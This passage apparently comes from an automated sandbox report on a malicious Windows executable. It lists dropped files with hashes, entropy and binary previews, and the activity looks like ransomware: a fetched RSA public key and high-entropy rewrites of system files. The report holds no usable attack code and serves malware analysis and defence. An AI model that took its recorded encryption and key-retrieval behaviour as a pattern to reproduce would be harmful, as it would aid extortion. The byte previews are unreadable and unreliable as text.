SSDEEP:	768:mrmpewuTrxiq7HmmF+cAICD/scXGzMfRPWPcR8fTKwICvuHa2tP3:mrmm3Uq/GbtaM5uPvTjPu9R3
MD5:	F406B0590DBAF6645D9979F6840140CB
SHA1:	AF3EB0E1DF1A35EC2670928CB86028FDD897C673
SHA-256:	EECCD73E5025965B871D23FBBCCFB45D2865E58162D68F52D53B3671F4E3B5FC
SHA-512:	1EE8CE34F7C88C6900F8A7B18AE3509747F7ED75427519764939AD853C1C839F66396484237A26A7277A1D29F6E832D6A1DA3A222F87FACF15ABF3C1EEAEAED7
Malicious:	true
Preview:	<!DOC..~WW>$......'..V+...q....Em..d...?....5[<...../....}Qc......v..7.9.Z.........^.L..;e.....v...8....f6....n..h0........;..)..:0\|X^C.}..#.b.o7..YA5`....B.s..t.#r..t....i...BT...:.9.....k..X0...;2./>Z..Z ..o.}D....=r/3<....U..i.. .......r..C......gw........2..\r8...+..+.S.-...........-jC..7x.\|j..O.xk,.r>t..u8].ZBl.F.....<~'(.F.,.yy..;I+.^.~..@r1..R...tt.g.,...\|HY.r.!?......C.`.../.U.....b...../d....Ba...-..rh....W~....1B.2.W(..;.....:...4g..........]..W.....W....I...X.aA+c.VM.4....DZ.....y..p..{..eS.=...y.S..4:..s..q+.R?...K.+...Pv....u.1.I.]..?......q.........=CqC...L[ .sn..N3.....w.....J.ld.....W....X..(4...A..+.\|...Y..6.F....^.u.i.:f.f.R.Y.++N.F...l~...<x.u+F7`..}3?.....Mf....k....a..Xk....-A..T.M.q.\....$?a..o.1...,,..8X0p%..u.(..9S.R.'..16....g..d}.8....T.....DFS.@.g. .N=..V....2.k..Q.)5Af.....N.x .Q..h<...G...'.,...q}.`..I.7..3~d.&.i$.L...q...usd..>.!......Z...<.;..#o.n..#...`G....<.e\|.m..V3po.;...;........T.N...R2.!+R.3.r\m...8....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\get[1].htm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.997111511329107
Encrypted:	false
SSDEEP:	12:YGJ68u47eaPc/p8j/i/+6STG/n4Ay47oj3UJbwhpJVj55SQ9:YgJJ79U8j/p6SC/nsjU2/P9B9
MD5:	E4ABA3F5C157044C804921AF0464C768
SHA1:	50B0356D3FDCC4905E740DCE460FA1BE7FB11F71
SHA-256:	7130C8AF42751E9D6BC59E29511F32DD47EDD302DB3FD10FDFFD4982BA8CE808
SHA-512:	B13298CAABC46948B1C0833B08C509B45E174AE12DB9BF78AE379ABCC4618AC5D54C5DD12F6C38ED4ABAA5FA2F9C90EFB2316C15C5D21998410A50DD2004325C
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\get[2].htm

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.997111511329107
Encrypted:	false
SSDEEP:	12:YGJ68u47eaPc/p8j/i/+6STG/n4Ay47oj3UJbwhpJVj55SQ9:YgJJ79U8j/p6SC/nsjU2/P9B9
MD5:	E4ABA3F5C157044C804921AF0464C768
SHA1:	50B0356D3FDCC4905E740DCE460FA1BE7FB11F71
SHA-256:	7130C8AF42751E9D6BC59E29511F32DD47EDD302DB3FD10FDFFD4982BA8CE808
SHA-512:	B13298CAABC46948B1C0833B08C509B45E174AE12DB9BF78AE379ABCC4618AC5D54C5DD12F6C38ED4ABAA5FA2F9C90EFB2316C15C5D21998410A50DD2004325C
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997035390799345
Encrypted:	true
SSDEEP:	1536:CB4ilBpjyrt9s07KOYfJrd/iJjKgKPNktia102UazmZ3j7SFgo:CBBBpwi071erdCKgSattJR2nkgo
MD5:	8D4192763B24E33111153DBE54CB266A
SHA1:	ABD56D145C01E009BF50D910C498D3F1AC12E0BB
SHA-256:	27B16685C00C82AC8B20A4D644002D1E8E9AC3B41FEB752EFD17DAAB03F26408
SHA-512:	FF3E362D4673576DE78CC5AD41B8C645A55169550FFC57E689D9EE0E1D40531EC3170EE39E8FB09D32F793DFD91E96B4FFBC87F48EB29667E74CAA0FB5B31EE6
Malicious:	true
Preview:	<?xml....8...l!....rV.J..x.EU].....fD;.s..L.....F.7,S.G...1.g...e 4.....j3.F/..s..A...?.E.e..<2..v..B...k8..L......H..O`.W..-.G0U.8..$...dj.7..2>.S)w.:..}..n...M..X-.cP......kK1..Z...x...3..1$.. p..(R...g.........C#.....[w..9..1_.]./..X[Y.D:4..F.....[2.....mXas.....?U@.N...o+...+.=..2.Ps.7.R.Y...&..\|O...F.P......a'i=-.'..h..U.b.P.].9..#..w...'.......Z.5...........o..69...3....Y.6....bpb.....\|..7kP..o6..7"..Ld..u4.x. ........\a.._.wL....&.K..wS......7..1u.....E.S4...!.`...c.."."..HKz{.0j.........._,.O4Su.%!..;.X.......8z$Z.cd9.9pN$x..07..n..lh..... ..Z....PsH...6:....#V....u....r...D.+.N.qNV<:O~..`.K.../.''B.w...3\(..7~..4..t..vq..W.Db.J#.[\p..2.A......D..r.o....#..,..x.0`y@..U..........sPb\s.9.h.....;....74..${...2....d7.zj..6.......o..._..M+Q.l.......9d.....h.U.Z.>.N....uJ...j.....b.:l,>.ab..3.x...6k...S..Q..i.....>..$..#.3..q..j.8o.*..%\|...`.~.5.d......J.C..S.....G.......F..c..$..(..&.zs<..........TXL8x..i.?.....J..5.Y;i.j^..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979616926212837
Encrypted:	false
SSDEEP:	192:mjXiLWr0FEZUp6XqWlQmPHYy328AyDFM+:mriq/ZC6Xq0QmP9m8Ay5d
MD5:	687FAAFBA8018F980ED3C36777E8895A
SHA1:	86BA3C4EF3104DE2B635FC14D1CF8FB76C4A0E5E
SHA-256:	ED96549B895CA3D2BCB145B2745DF3952255B5C8F030E6F29D4C6446E74ACE9D
SHA-512:	D9D237445A8DBAD37B0AB9DF0E99881D925F46D5251DF78B6D417D552080A5291583D267BE3D5D3BF2B25FAF823945E5B2F13C28687F2C3054CEA1112EF6F6B0
Malicious:	false
Preview:	........ej.5!&V..2k.d.%q)sD.{'@.....H.N...K..Qw.....2....q}.O.....3\|9..`M...)7z....~}...'.7!P.......f....>h..M....h..1....F.V....H..E.T#...Nh.aX0..6..2..{...x..8..j.....v...@...<qSr..}.$....L..%zb.....D.'..Ui.}.y..Q@F'.CG....<..e..Opi.R.zY.{;...V5-.j....6...v\....>.vR.$......\|....:....08.P,.1\|{..v^K...>.`1:+...n. .l.(w..8....^.S...N.".Fdl&...e.\|..=gC"x.....-S.c.E.....4.e#.3q....J.`....vR7L....T.@..(l}..)...VA.DB..[.+-Hv.../..^.?E-.0Aq..........................H..9.+.=.{...z..C..YlSL.}...O.{.Y..\|(Z\=D..."P_..Q...@W..^..l:.0..Y....v.vb.Y..o..b..N[.`.$.!T+.h.w.6\|a/.t....6.._.....x.!...8.....+.i.0]..,...}.....l..<;.H.E..t...3..V..._u......}..N.P..c....9b6.!W.........l...a..&.,V..>..8....j........M9.....ot..Kp.5...c8...........].-P.(.Kr...oxx....k.d..es,...bA..~...W...y..3..;.$...dNz...F.z...Ui....o.......k...3C].1....R.YZ.q..._......H.5.q..^@.....#.......7....L...jK..CN...3....^s}.=..G\|..vh,..o.M.u3E.%.~.e..g.u1...a..m O....~.8...c..S...oO...M.....7..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100005.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.433867408184525
Encrypted:	false
SSDEEP:	6144:DCb0MiT5SV2nP04aWgs86XiC2NmqEFvCTyUPR5ABk2BoPnEc/qjTA:DChitvPnaWgs82iC2NmEyUZ/qw
MD5:	DE869D4BC5389E35410B4A9E2843E7AE
SHA1:	AB676B6269881F208EEF61C00A55DA43DF208CC4
SHA-256:	35631B89A53AE981A27498998E74FB420C5CB7268CD0191EE8C00DB64C4C6B94
SHA-512:	82F70309A4AA21A2F9744CD5133F46E7B3988CED20F216FA70A19DBC8184D28D06CC34C97DB28C8E85B22C293FC484FF3D6AC50C098150FD39C13EFD2C6FA35F
Malicious:	false
Preview:	..8.... 1Z...-...m..mr6.q..nL.....v.^._....V..~..m...E+..Y........oJDD.....^.+.I.Wy...0..g1.T#...x_.......Ho._..9..Qzr.{...i..I.o.<._~RD.6.Q1N;.m..g.p.1-.B..$.@..s........6..v6..5sA.....9(.A...l.6.Dc........]......e....KB.^g...oG..Y_.2i Y....i>( ..R!p..0I][.7.K....0.a..2...\.i..<....g.T...8Z......e^E..{.b../4l`.....:..<.L..X...)..MzhC..[O.z...t$......m.Gp....M..Z.-=..%...c.e............-..!.......z...x.8n9.0S%Rah/..,%.M... G.B..[q..r."...!.$.......M.Rh...i....m}.Yz..u....4.bG.4.a./...-M.I.....A..UW....l....F......#.z;_H`W2...f..,x...5w.b....HeV[Z.v..<...g.K.e.._.M%Rs....4t..X.'..-...."..."...H.H8.{...d..!X.9.....6...$\|-m../g,c..alf..w...l....Pd..K[Z..g6........6`...:..;.....y&.rx....rh.....\xN.l....\..o.F.r.-....td6...S...!T......km9..1.B.l...UCg\..-._..XLLt#.......1E\|!\PWwZ...p.T.0E.W)<....G....[..'.@..L ....+.g.i.m/2=.......I..f.Yu.....(..e.u.o .....,lp.X....y..\|e&eA_n......s..V.b........F.....q(..h......I..azM...7>M.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084383672300807
Encrypted:	false
SSDEEP:	3072:4rtcozUxdASBUC1bcyBO5ANJs6SgBIeDAno5WIGoG2idBu2zWzRbxs2:0wxdd7FdXNWgR4e6WR
MD5:	37B7729792212588AFF5390A3B17AE22
SHA1:	9132684886A586A051398494577A5FBC717A41FC
SHA-256:	0D30A005F498BF1620E863AC7B7BCB193279AC67B85DE939014974CE3F19BC6E
SHA-512:	BF0B37C2E7C15E62EFB9B9C359BA6C316A1DBEB07CDC47786392916A5740E71F11E9AB7E347987042C93ECC5441674F802B08AD7998DBDD3F030291D00BC42CC
Malicious:	false
Preview:	.....W.......P"...RM.../.{..X.,..v........88.....C`..."..)"}....u....i.c.[...z..F=..C........D.<..W{..H........h~...i.rF.J.nD....=..^j.....&..............e.....Fi....nF\|.....G..., ....+...[..-.......!.;z.+...{8fL...O....>.`D2.#.2..`.9"..i.>.J.Zm.j..+..H.....Z...$^t.fXT.<...z.?..;'...FK..q.z."y..He._^...o`......\|2B....&.9.....d.ps8&..p....s.L...#...$.'K%.`.J......=T.cn.q..r..w"P...`.g.Q...u..UCS...m..\)T.R........{3.<."....c........U......I.i1.....a... ......(N..Cs2....".:....d'....7$..7..bS..bV.(H.".E_.....C..UhZ..\............'nK..#......qr..XQ.gD..C\q......r.N.....jNO!Q.Q.l..}.\|....;......Y"4..TWsb.q...&t\=..45.O..Y.Ts..Pq.d...lN..}.[=...b.....5.yE_.T... .].&.LV..".H.]..@~..6......dhz.....QR..;.{N.;..+`.......%c.uU..hA...3..R..m3yu....&.9n....1..:.........>H.d.{.2....vb...T...,...ZH.o.Y..o...v(....\|`......qo..]..e%..v..(...T#..E\|....p#."..n....n..;.$.............O........7M1l."..Ed....#p..1.....h-....m.U..Z....D.n.]^..8:.h"<..0...........;.o8

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074353680838668
Encrypted:	false
SSDEEP:	3072:btKVQ4wSo2k8FhOZYNXl6vMnO9ZwGdpUlu3QrtM3dQ:be/wdr8LrNXl6vMO9JdpUw132
MD5:	3204DFC54B15A12520AAAE44852FCEE2
SHA1:	87247674991F94A2DF2D2156AB70EAECFBED2EF7
SHA-256:	B68B5C123C68D4E9456671453C9E22A13E283B478331847CEBD2F9626E9ACC90
SHA-512:	60A750EA2D68DE75D695A5E1D6FCB8146C55754C0174A6C01D1F894801D34B6B4B2DFF71F9BFD1E6239FEEF82A06737C0D33238D274B409310B9C30CC572333D
Malicious:	false
Preview:	.....-..%..9.z.\|:..Jq.X.U..S..K..._".:...U......{.........r.1H...RV.\|[......7....(Y&......._.\.-..D..6........ .y....&8v6...GnMMP.I.V.pj...m...vs.%..b9C.[.. .....J.)..2../.....:tP.......D...wu...."!.....;.Z...?a...r.5W.y...b....x.B^.e.';..8.4.......q..0....ut...r-F_..@........_.&9.u....o7.3...=~...2...HP..).'b.3v.1.}.....'.;.!...4.`.:.D.\.~n...(Ov+..M..o.....8...v..........z.+....R3..B.....p......K........K.u.1.B..QqY.=l..._..0.~..zG.O...3.%F/.FX.....q....{X.<.Z.bKO...29.....9..".......n...:.. <{..~...H_n..N....WZ....R'.s.uE.2e...C0..o.v-.4..;t}EE.T&...p../.m%..=.r.q..;w..!....w..D..f.]..O.......4.C'(.!E.A..n?lM....}........vr.~......Y^..4:..C...eN......%..DN...8."q........XH^.....H..j..;z@......,.N..{?U.........!B.~.....(.I....}..R6].../4..>M..$eA[.f.[.l.TJA.b.... .g=\MF.B)Ws..t1d..dmSX..^r..\.;..S/.........D....-..\.?.'.....T.=B.~...M<..R.Z.h....82Z.].t..:.....]...cB8....[=wM?.e/Bq.9...P..E.Y....U./&...nO....rv_}....l

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.197491491140687
Encrypted:	false
SSDEEP:	6144:Ka6QSY7WUxLG176d94EJlok3f7Mxc0+qFJaohDNdrjBmTu47OYPRUVRnqdKgaF0:Ka6E7pLAWuRG7etYRw7bF0
MD5:	316B362504AB2A74D609BCC53C4D6A9B
SHA1:	6BD78064DF7BE3A6176724CA86C65EBEB392A6D1
SHA-256:	193EAC58EEA7C97332E80168FD663C65C42907B1CC68569C671E5277FE939EC3
SHA-512:	79776CE5CF708A3DF566BD1A5AABC76A0FCE2E93FEE9C339C49E356E583C91C02362B9294CC81EBCCEF2612A27E5CE4733D42D0D401714CFEE84F443CA3208FD
Malicious:	false
Preview:	.!....1kO..N..+..=.....\.]..B......Fy..<.\...elK.......T..V;W..[A..\..,....GxAE.U5G.w8...l..........Y..........0..#.-..VTrf :i'4.s5!...R?.W...8...9.;I....S.`...~4KCr...T.D.....q....$I...M....;.u R...c.fd5.0N...5).Y....i.F%.=F.......Zh..-.]............;....J'....,..K..s.K`..\....x.M..UW..t.3d.ZRG.....c......a].g......g..=C..e....Z.C......8.L. ??.#.YA.....4.......MKND=w!.:.:....'3..p..T.q u>...\.H.l.X...=.).....~..I:5.9...../3.n........%*1r...v:\|..N......y....4#..rZ...Xia..%%.=.....6.<.0h..D\|...:....xE.l.z..8.....J.K<YD.N.@..9..i;.b.f.....>....v..fq.Y.Df..@.wbu..N.4....Z.....{.rh.g8H....rL+,W$d.....}...%..3-..^x..I.=...t7.1,..TNx?...%C.LD..M..?...V..7...T2$.;.nK2.YU..9...l...'.WEW=q.8.6Z.R....<3.. ...3n1.h...y.k.....t...a.$.3.9h......Fv.%.w...MH.I1...x1...5.bs.QE...>8.fv.i.M...Q.9.t...<.n..x...k\".....0.....r-vq.i,...bvg.J.R...U3.V..a.!.......x....@.r.....+.q>..i'.qLn.......r@..k.Z....A..cO.....1.....4.z...g'0.".g9.qt.t.1\<.}.....1...kj..

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975064417572538
Encrypted:	false
SSDEEP:	192:ODBuZyhd/kL3otepaDV2Scn2eTCApKRuPPoD30LoUPj4p+:ODno3iAScn26CAv3oUF
MD5:	C756E2E7BBA8194B2670BA7D0C12A4AE
SHA1:	E4E4F95593F5D634D8F02324E7F38549A995E0B5
SHA-256:	F16E85660A2008AB2DFB85A35A38801130AAE4F2181FC5FFC8CA46952ABB9A28
SHA-512:	4704028F33A90E8FAFBEE47E7FF55D1EBE34880B7593776027D48C0265826CD9A50E5ADA369EE7434F80324CBE58CD23D1437D7DB6E22162C4FC4FF0D65CBA47
Malicious:	false
Preview:	regf.....>7.......(.=.y0..c.<...b&.m.....u....hQ.U. r.,.h..+./.S......qO.&v".7..k~.y<..@r..Bbp...7.J.-...;..p.<......@K&K.IH....Z ..g(..$...9.....y..;..Th.....@....h<.K...."......45J...:?.#p..vt.v.....5.!e+..nze..;iLR......... ...\..!.R.R9(RY...]n.7..t.Ye.)...=..8.;h."....c..KP.;.7.q......u.0...].Q.-.\|....}8.ppP:.Q...Z.c...np..t<I..,7.....X[A`.;..l.a.P....{...L.$.."JY"o....8S6..h.i......D.,P.....O.r.&.G.......8.N..F.....S.<.z.}K..`.9...... v.$i..i..E.\..J.............+..g.p.......!.fx.6N.Q?L...S...H6.!..YC.,#..Xt.;[:..}..+<.....#:.A.L...Y........*T.....+.ID...`n.?p..5.5..Q.h.5F.f,.....^.+H..P..;#.gt0.....=.\|..],.5$.8c#o...\|!8.K.n.A.=.....\....J.....S..<~/.X..?:..Z~x$uT7Q...yD....Gj....5...J~.f.z.8..w..5.I..9...n!....:u..O?./...?'...r.o.=.e...B.....r..2,.v..v3..<}...H.t......D..U5.T~.....f.D9l..RTq<...;Lq...U...&;.SI.U.#.7..-.56V.......ny2o..+....p$'....!.6...;..n0...e.....(.4.l.3..Bs.?{.G.....;..,Bf{.......r.......pOcy.N..T..w.._...$`...{

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981313532241853
Encrypted:	false
SSDEEP:	192:tgVIi96h2AHdBCCzeuQnBz7PHuYxq9tL+KTTEwA2B+:tgVILNBvzeuQntSx9ocTM2w
MD5:	19A7EB8D95EF46AD31F533F17172F746
SHA1:	2CE3E3F4C6DCC8CE4CDD603A145C52FE5E503A09
SHA-256:	53FBC5E23AC69A563FDC56BC3232BB30B3B0766C05C49A194C64A58593242CBC
SHA-512:	711B56D438BBFECA9E8286D2D6B95803116CB39BC935B1821D71F879949BC7454770FB1D5886914710967D568D140FF0D417FF1003E948E695B83F6B30F8FB6E
Malicious:	false
Preview:	regf....Un>..q..J@._.0..\|ba..S66xy..........nn#.......D.>^.H......U{<K.!.:K....H..M...5.l..l.f...+.0...7I.ZZ.6m.Ucf...K...T(.....ST.7..Yv.?.... ..q.h..Z..h... .8.0.gg!.+.X.....$......t..n..)..h_^..k..Kr<.z5..M._e.Pd:../EWBjF.e_.GH....d....B.6.nx....Lf..!........q.P...m.xnG.v.zOmxZ<..Z.....8,...iE.z....ol!(P.b..U3.&.D~5....I.O....1.....ZY........^S.#b...b....B.m....W.X+...6E..'.%".9.s......MGM.......^..%?.[.....d..[....b.G^u.K..A.[.F.[.......z.y..N=(:8.C\|.8mVs..3GE..^.aQ/}x.2....SM..o....S.y.../w.....1..ZR].l...+.N...v....(8......@}56cx.D...+.....u...$...E.(Yd?........Pe.9)+x....UJvv0....V.N-bd...NV..7-....j:...lY$...=..W...D...:.....,rt.U.[.._2....Ic0.,/3,.h.....j7..S..g.?...k...)....PLK.j.....+a/...V\|v.\|w]....L..e...._....(L.....b.t.yo1.65..B....i..+./;.............1U...m.B..F.k.%.w.Q'.;...x...^.....Dh.<2......&...l.8W......<~.......".....D)t<?.....O.+.2.Z.m.WfY.:YR.............R...-bm..k3..}...x(HE.V:..f..`...v....J..!.*.f,[.U

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9754591743731575
Encrypted:	false
SSDEEP:	192:MQbMtsnjuwlaYK5tn0e9uZh6l+9CEu9ZmI+:OejhaYK5tn79uOE9x5
MD5:	4CB70F59B533414AE7CB599E1DBBEFB3
SHA1:	BCDC394A1FE6D12B828068D3B945D3760D2A6178
SHA-256:	4E5649F7AC94B334FF9D5DED3043B47915B45DB59AAAC8A16F8284EC785C9DD7
SHA-512:	498920AF42D42A93345E4D70BB921DC22F646BE06EBBDC7FECFCB80B828E9FBA7497C33489DD3E0C06CF8FF4F0A68A8069C21EDA71E9ACC8E2998A63570D6B4E
Malicious:	false
Preview:	regf.?...+.b.Y.....+..C..].\..[...v.s..U...+L...4!....M...M.U........l<.w.@~..G?.........6.....XC.....D.\|QC..<.ln.T..J.HSf.X(....k....BL##.........."..zD.Qu.F.K.jU..."...<VG3.\N...m.Y.%.W...!..3e.1....i.m-....\|.2..y.~.#...[.k.T~....i..HQ0/.L.......$....E+.U ..P..].......6[.../........}..v..t3./W8......9.A....{.....-..b....hE...hm.J.....y^=.......<......._...<8e..B.E7n...j... .nh...7;.i...l.< D2.$.n...r...1/.....q..6..C.z.J.0.T...t...[..}.-.T9.n9.Hp...\|..U.b7.....i.?.u...{......c......b...0..........a.c.M..S.....7..Jw...30...(.Q.Td....Y.^.B7.UEdT.f.p[K.`.9.....f.h0x..@T..fC.q............IH..4L.........MF...M.)..).fDq....E...p..1..N'.....s.<~'.Y...Y.......d..V.L....n..].."ja"...}..H~..bns...&......?....'.Au.y...xA.(.....;......h....*l05..>....9JMk-_.4.U......W...g.Q./.&.9G.q.........ss...>.=G.O.m:d...YfG.....qr.d/_ ....i[...0".._.U..W.s.\|.U..$K.....Wg......v....>x.tZ.g#...9.(f...o&..f=.y7,Yp.%I.V...c......Ou.....~..$....R"..;.H.0quS]

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9802072484307445
Encrypted:	false
SSDEEP:	192:AfIdEuBAjECma153UQrbsX2jl34t8apKjruKApfNDklTr+ClLD+:Ako5T3lR34SapKvRAng5qX
MD5:	98E228B720DD60BFCC0E692D61E0F385
SHA1:	F1E4CC182C2486549BFC371EEE1A726C049BF39A
SHA-256:	0253E35F435F1B5415C37D52705F935C0D970B6AD1CFD3C6C09E4D401F9C4EF2
SHA-512:	5EEDBFE2057EDEF8FC15FB047BEF92B4CC776CA86F6A9BFCFCB432BE21CB93E48334EA33DBE397FF623109FA47F8110549B5DEF26B27AF0E068A35F4C9C45AF6
Malicious:	false
Preview:	regf...!H0.'..q....]l.oR.!.=...U.&G...5..S.../..V......?.g....... .>."-....U.+../.O...........KP....[.#.c.5.".bd:$.H..;.=....i)F.I..i.~.......d!..IXW.&.a...x...(..c5..p......A.!8\..T...Y..;.._...p.}l/..&..DS>2G.G?.{....tV^..{..).e!...E..u.aTJ.;$....v.?.\.P.g.Xw.`.n.7..F..Q.Y=.Fs;L$...w..Ce7>e.NG6<.b~0...wy..@H`.7n...^....v.&...z.Wb^Z..D.+"......(..#.....2..v.rM.N;...jek~.."a#...8F\|.w.Q.}4Q......u.F.H..........B.'.9....1Tv......#....ts...C..nm.2....G.Y..8.i...u.fa.g..vn...P....8..z...f.T...s.........u...G.!....M.mb.k?...7li7.!H.8g. .,...8p.....?.W$w..... .......0.>va.J.....2...ma.~b.F\|.'B.;..C\|!.. LpI..R..0..Q.....;..4.q\|.M.Q..~\#.+.H...o.v.>..d......tb.....-+..C..KB.].-...:...../...t+;\.$.px....&s....`\.Q..G4$.<...RDU..q%.le..[.....1..s..7..cya.b>.8...`......8+...k.. O.<.}k...u.~...H(.......l.1y.@>..4d.V..<..S.l......k.3@.[...U.l..h....m...9Ewy.....t9.v........b...x..-0.&./AF..y.#.:2..mI.....Gw/.QI..C.....x.9-...H...`.T%..........*...N....?A

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978164561243035
Encrypted:	false
SSDEEP:	192:Dd5pZQdN8WcHpPxNt9aYEC6L44nd4JzTRruzaYtXONz8xvHd2+:ZbZQQWGPj3at44nqJzTB4tK2v9n
MD5:	6E98826F8C507A3454255F30F19EEF70
SHA1:	DF7AB6F540FF66B1B625E87A959E15FCC7A65B38
SHA-256:	C2E84342B951887E07BAA07120D3BD4903B892E22D38B58242B03DC8C5E41541
SHA-512:	1346D39E47E965D4BF9B6851DA276C74577E0137580E8016950174940EC89793AF5B6706308CAAA4BF90ECD65E8414F14D1A64357113415B3448493266626D07
Malicious:	false
Preview:	regf.a.. .+..e]?..\...o.X..jY..96.'.b...N..G.\.Y.c?..z2.~..<0.r...i#B.[.tT..w<.@.....J.Pj.QNT..9l..x,.y.Li:..D.....}>_...s\|..s.q.../......:}.....'.&.t.."L...2..8.l....I_V........K&.:.......E.\.j..De.Y9."J..0. @.._.q.b0.h.z'..LF.q..e.Z..I.=z...)aa..n...%!...H..=..r...TI.A...]B.YC.+.........y-..r.iz..18....{t..?..M...r.;f.q.....S.\1....D.#z.v;.:..an=......z..-ZX......d...o...v...L@...d..aH..M$...E..z.....$g.%Y+t...jvy.b}.<..F...o...O.".J....G...Z6P....M.&K"e..=./mH...L...."...<2G..Sb`.A..ygS......&K...\|.K...O..=...r.F..U.."..oRVt......8:.,......A......\|.45\|r4..K.....C.4...^..qE..1.2:.....j.....\..6. ..:8=.....[s...M......h...s.......v..w..jU...._....i.q..._.t~..O.=Gg.I[3.\|.6>`u..@.3g...l....g.ot.Z.C.3......!..,.0.&..) ..-t.....t.....2L...i-...2...D.<.c..^.....MZ...r$h.6!...cC...2p.^..v.>0.R..8...4tSW......X.T...(.fT.\.5" ......w.....I....o....JHRMZ[...r.S.Q..\|..q&..d.&.g97.)4....5._.xK..<...jJ.c._S..Z8Y@........Z.;.........

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978974850039968
Encrypted:	false
SSDEEP:	192:Cw+o2X+jqzKE7lqnYvtr+ChTLJ6IGiDu1bcQqll47oeg/TN5QyWBZ+:l+R+jxElqYltTLJ6IlDOwQulzJTQy5
MD5:	B8558BE00C98EC946549CBF00C92C00B
SHA1:	8C2CC847DB407854E04735B325BCAFF76EEB2450
